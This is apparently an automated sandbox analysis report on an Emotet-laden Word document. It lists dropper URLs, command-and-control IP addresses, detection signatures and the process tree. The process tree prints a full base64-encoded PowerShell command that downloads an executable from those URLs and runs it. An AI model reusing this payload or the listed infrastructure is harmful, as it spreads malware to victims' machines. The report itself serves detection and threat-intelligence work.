Analysis

  • max time kernel
    139s
  • max time network
    149s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    16/09/2020, 18:49

General

  • Target
    E3_d8cd49686bf427ef65774a9ed413361679e576cebc81943195b0cd7e85d64ebe_2020-09-16_13-35-00_DOC.doc
  • Size 173KB
  • Sample200916-gefasmr55j
  • SHA256 d8cd49686bf427ef65774a9ed413361679e576cebc81943195b0cd7e85d64ebe
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    https://up.neu.vn/ahubhten/GoU5j/

  • exe.dropper

    http://zsstart.com/mobile/lM4onHI/

  • exe.dropper

    https://softgon.com/wp-content/gjVNOlY/

  • exe.dropper

    https://studiolegaletufano.net/setting/LFkMN/

  • exe.dropper

    http://trillionstarplus.com/wp-admin/SVhB4/

  • exe.dropper

    http://blog.tobenum.club/wp-content/drHj/

  • exe.dropper

    http://homful.info/wp-content/5UEyn/

Extracted

Family
  • emotet

C2
  • 118.243.83.70:80

  • 5.189.168.53:8080

  • 162.241.41.111:7080

  • 190.85.46.52:7080

  • 95.216.205.155:8080

  • 50.116.78.109:8080

  • 54.38.143.245:8080

  • 113.160.248.110:80

  • 115.176.16.221:80

  • 223.17.215.76:80

  • 202.188.218.82:80

  • 172.96.190.154:8080

  • 139.59.12.63:8080

  • 181.95.133.104:80

  • 74.208.173.91:8080

  • 202.166.170.43:80

  • 185.142.236.163:443

  • 198.57.203.63:8080

  • 185.86.148.68:443

  • 88.247.58.26:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 8 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\E3_d8cd49686bf427ef65774a9ed413361679e576cebc81943195b0cd7e85d64ebe_2020-09-16_13-35-00_DOC.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3888
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -encod JABOAHgAeQA4AHEAbwBhAD0AKAAnAFYAJwArACcAbwA5ACcAKwAoACcAbAB6AHgAJwArACcAYwAnACkAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUAbgB2ADoAVQBTAGUAUgBwAHIAbwBmAEkATABFAFwATwBIAEsAVQBKAFAAaABcAG8ARgB0AHkAVwBlAEkAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIAZQBjAHQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAHUAcgBJAGAAVABZAGAAcABgAFIAbwB0AE8AQwBgAG8ATAAiACAAPQAgACgAJwB0AGwAJwArACgAJwBzACcAKwAnADEAJwArACcAMgAsACAAdABsAHMAMQAnACkAKwAnADEAJwArACcALAAgACcAKwAnAHQAbAAnACsAJwBzACcAKQA7ACQAQQBnAF8AZAAyADAANAAgAD0AIAAoACcAWgBkACcAKwAoACcANQBjACcAKwAnADcAJwApACsAKAAnADYAOQAnACsAJwAxACcAKQApADsAJABRAHAAYQA4AHYAZwA3AD0AKAAnAEoAJwArACgAJwB2AGUAbAA4ACcAKwAnAHMAZwAnACkAKQA7ACQARAA2AHkAXwBmAHAAagA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAGoATQAnACsAJwBIACcAKQArACgAJwBPACcAKwAnAGgAawAnACkAKwAoACcAdQBqAHAAJwArACcAaABqAE0AJwArACcASAAnACsAJwBPAGYAdAB5ACcAKQArACgAJwB3ACcAKwAnAGUAaQAnACkAKwAoACcAagAnACsAJwBNAEgAJwApACkAIAAtAFIAZQBwAGwAQQBDAEUAKAAnAGoAJwArACcATQBIACcAKQAsAFsAYwBIAEEAcgBdADkAMgApACsAJABBAGcAXwBkADIAMAA0ACsAKAAnAC4AJwArACgAJwBlAHgAJwArACcAZQAnACkAKQA7ACQASgAyADYAcgA3AGwAOQA9ACgAJwBYACcAKwAoACcAegB0ACcAKwAnAGwAZwAnACkAKwAnADIAegAnACkAOwAkAFUAOQA1ADMAMwBkAG8APQAmACgAJwBuAGUAdwAtAG8AJwArACcAYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4AZQBUAC4AVwBFAEIAYwBMAGkAZQBOAFQAOwAkAEgAZABnADAAcwB5ADEAPQAoACgAJwBoAHQAdABwAHMAOgAnACsAJwAvAC8AdQBwAC4AJwArACcAbgBlACcAKQArACgAJwB1AC4AdgAnACsAJwBuAC8AYQAnACkAKwAoACcAaAB1AGIAJwArACcAaAB0AGUAJwApACsAKAAnAG4ALwBHAG8AVQAnACsAJwA1AGoALwAnACsAJwAqAGgAJwApACsAKAAnAHQAJwArACcAdABwADoALwAvACcAKQArACgAJwB6AHMAcwB0AGEAcgAnACsAJwB0AC4AYwBvAG0ALwBtACcAKwAnAG8AYgBpAGwAZQAnACsAJwAvACcAKQArACgAJwBsAE0AJwArACcANAAnACkAKwAoACcAbwBuAEgAJwArACcASQAvACcAKQArACcAKgBoACcAKwAnAHQAJwArACgAJwB0AHAAcwAnACsAJwA6AC8ALwAnACsAJwBzAG8AZgAnACkAKwAoACcAdABnACcAKwAnAG8AbgAuACcAKwAnAGMAbwBtAC8AdwBwACcAKQArACcALQBjACcAKwAnAG8AJwArACgAJwBuAHQAZQAnACsAJwBuACcAKQArACgAJwB0AC8AZwAnACsAJwBqACcAKQArACgAJwBWAE4ATwBsACcAKwAnAFkALwAnACsAJwAqACcAKQArACcAaAB0ACcAKwAoACcAdABwACcAKwAnAHMAOgAvAC8AcwB0ACcAKwAnAHUAJwApACsAKAAnAGQAaQAnACsAJwBvAGwAZQBnAGEAbABlACcAKwAnAHQAdQBmACcAKwAnAGEAbgBvAC4AbgBlAHQALwBzACcAKwAnAGUAdAAnACkAKwAoACcAdABpAG4AZwAvAEwAJwArACcARgAnACsAJwBrACcAKQArACcATQBOACcAKwAoACcALwAqACcAKwAnAGgAdAB0ACcAKQArACgAJwBwADoAJwArACcALwAvAHQAJwApACsAJwByACcAKwAoACcAaQBsACcAKwAnAGwAJwApACsAKAAnAGkAbwBuAHMAdAAnACsAJwBhACcAKwAnAHIAcAAnACkAKwAoACcAbAB1ACcAKwAnAHMAJwApACsAJwAuACcAKwAoACcAYwBvAG0AJwArACcALwB3ACcAKwAnAHAALQBhACcAKQArACgAJwBkAG0AaQAnACsAJwBuAC8AJwApACsAJwBTAFYAJwArACcAaABCACcAKwAoACcANAAvACcAKwAnACoAaAB0ACcAKQArACgAJwB0AHAAOgAvAC8AYgAnACsAJwBsAG8AJwArACcAZwAuAHQAJwApACsAKAAnAG8AYgBlAG4AJwArACcAdQAnACkAKwAnAG0AJwArACgAJwAuAGMAbAAnACsAJwB1AGIALwB3AHAALQBjACcAKwAnAG8AJwArACcAbgB0ACcAKQArACgAJwBlAG4AdAAnACsAJwAvAGQAJwApACsAKAAnAHIASABqAC8AKgBoAHQAdAAnACsAJwBwACcAKwAnADoAJwApACsAKAAnAC8AJwArACcALwAnACsAJwBoAG8AbQBmAHUAbAAuAGkAbgAnACsAJwBmAG8ALwB3AHAAJwArACcALQBjAG8AJwArACcAbgB0AGUAbgAnACsAJwB0ACcAKQArACgAJwAvADUAVQBFACcAKwAnAHkAJwApACsAJwBuAC8AJwApAC4AIgBTAGAAUABsAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFkAaQA0ADAAXwBfAGoAPQAoACgAJwBCAG4AJwArACcAbQBjADAAJwApACsAJwBsAGMAJwApADsAZgBvAHIAZQBhAGMAaAAoACQATwAzAGIAbwBqAGYAcAAgAGkAbgAgACQASABkAGcAMABzAHkAMQApAHsAdAByAHkAewAkAFUAOQA1ADMAMwBkAG8ALgAiAEQAYABPAFcAbgBMAG8AYQBgAGQARgBJAEwAZQAiACgAJABPADMAYgBvAGoAZgBwACwAIAAkAEQANgB5AF8AZgBwAGoAKQA7ACQAUQA3AHMAZQBkAGkANAA9ACgAKAAnAE0AJwArACcAOQBfADcAeAAnACkAKwAnAHUAJwArACcAMwAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQARAA2AHkAXwBmAHAAagApAC4AIgBMAGUAYABOAEcAVABIACIAIAAtAGcAZQAgADMAMgAyADAAMAApACAAewAuACgAJwBJAG4AJwArACcAdgBvAGsAZQAtACcAKwAnAEkAdABlAG0AJwApACgAJABEADYAeQBfAGYAcABqACkAOwAkAEwAbgB5AHoAaQBoAG8APQAoACcAUQBwACcAKwAoACcAdAAnACsAJwAwADcAZQB2ACcAKQApADsAYgByAGUAYQBrADsAJABYAHoAbABpAHYAdwAxAD0AKAAnAE4AJwArACgAJwByAGMAJwArACcAYQAnACkAKwAoACcAbgAnACsAJwB2AHIAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFQAZwB0ADAAcAA4AG8APQAoACcAQwB4ACcAKwAoACcAcgA0ACcAKwAnAGsAbQB3ACcAKQApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2708
    • C:\Users\Admin\Ohkujph\Oftywei\Zd5c7691.exe
      "C:\Users\Admin\Ohkujph\Oftywei\Zd5c7691.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3952
      • C:\Windows\SysWOW64\nddeapi\KBDNO1.exe
        "C:\Windows\SysWOW64\nddeapi\KBDNO1.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:3788

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/2708-7-0x00000179FC710000-0x00000179FC711000-memory.dmp

        memory/2708-6-0x00000179FC2E0000-0x00000179FC2E1000-memory.dmp

        memory/2708-5-0x00007FF8B80F0000-0x00007FF8B8ADC000-memory.dmp

        memory/3788-15-0x00000000005C0000-0x00000000005D2000-memory.dmp

        memory/3788-16-0x0000000000580000-0x0000000000590000-memory.dmp

        memory/3888-0-0x00007FF8BF610000-0x00007FF8BFCD6000-memory.dmp

        memory/3952-11-0x0000000002250000-0x0000000002262000-memory.dmp

        memory/3952-12-0x00000000005D0000-0x00000000005E0000-memory.dmp